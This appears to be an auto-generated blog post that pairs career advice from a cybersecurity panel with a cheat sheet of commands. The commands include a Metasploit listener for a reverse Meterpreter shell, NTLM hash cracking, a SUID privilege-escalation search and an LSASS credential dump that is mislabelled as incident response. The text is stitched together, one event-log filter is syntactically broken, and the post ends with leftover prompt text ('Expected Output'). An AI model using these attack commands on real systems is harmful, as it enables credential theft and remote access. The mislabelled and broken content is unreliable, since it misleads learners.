Cybersecurity is a dynamic field where technical skills, networking, and problem-solving converge. Jamieson O’Reilly, founder of Dvuln and an experienced hacker, shares key insights from a recent panel discussion hosted by Sydney University Cyber Security Society and Google Developer Groups (GDG).

Key Takeaways:

  1. Technical Skills Get You Noticed – Being the “best hacker in the room” is important, but it’s not enough on its own.
  2. Networking Gets You in the Room – Who you know opens doors to opportunities.
  3. Your Story Keeps You Relevant – People engage with your journey, not just your skills.
  4. Problem-Solving Retains Your Seat – The ability to tackle hard problems ensures long-term success.

You Should Know: Essential Cybersecurity Commands & Practices

Red Teaming & Penetration Testing

  • Nmap (Network Scanning) 
    nmap -sV -A -T4 target.com

(Scans for open ports, services, and OS detection.)

  • Metasploit (Exploitation Framework) 
    msfconsole 
use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp 
set LHOST your_ip 
set LPORT 4444 
exploit

  • Cracking Passwords with Hashcat 

    hashcat -m 1000 hashes.txt rockyou.txt

(Brute-forces NTLM hashes using the RockYou wordlist.)

DevSecOps & Automation

  • Scanning for Vulnerabilities with Trivy 
    trivy image docker.io/library/nginx:latest

(Checks Docker images for CVEs.)

  • Kubernetes Security with Kubescape 
    kubescape scan framework nsa --exclude-namespaces kube-system

(Assesses Kubernetes clusters against NSA hardening guidelines.)

Windows Security Commands

  • Check for Suspicious Processes 
    Get-Process | Where-Object { $_.CPU -gt 90 }
  • Detect Lateral Movement with Windows Event Logs 
    Get-WinEvent -LogName Security -FilterXPath "[EventData[Data[@Name='LogonType']='3']"

What Undercode Say

Success in cybersecurity isn’t just about mastering tools—it’s about blending technical expertise with soft skills. Here are additional Linux & Windows commands to enhance your offensive and defensive capabilities:

Linux Security

  • Check for SUID Binaries (Privilege Escalation) 
    find / -perm -4000 2>/dev/null
  • Monitor Network Connections 
    netstat -tulnp
  • Analyze Logs for Intrusions 
    grep "Failed password" /var/log/auth.log

Windows Incident Response

  • Dump LSASS for Credential Analysis 
    rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> lsass.dmp full
  • Detect Persistence via Scheduled Tasks 
    Get-ScheduledTask | Where-Object { $_.State -eq "Ready" }

Prediction

As cyber threats evolve, red teaming and AI-driven security automation will dominate the industry. Professionals who combine ethical hacking, cloud security, and threat intelligence will lead the next wave of cyber defense.

Expected Output:

A structured guide on cybersecurity career growth, supported by practical commands for penetration testing, DevSecOps, and incident response.
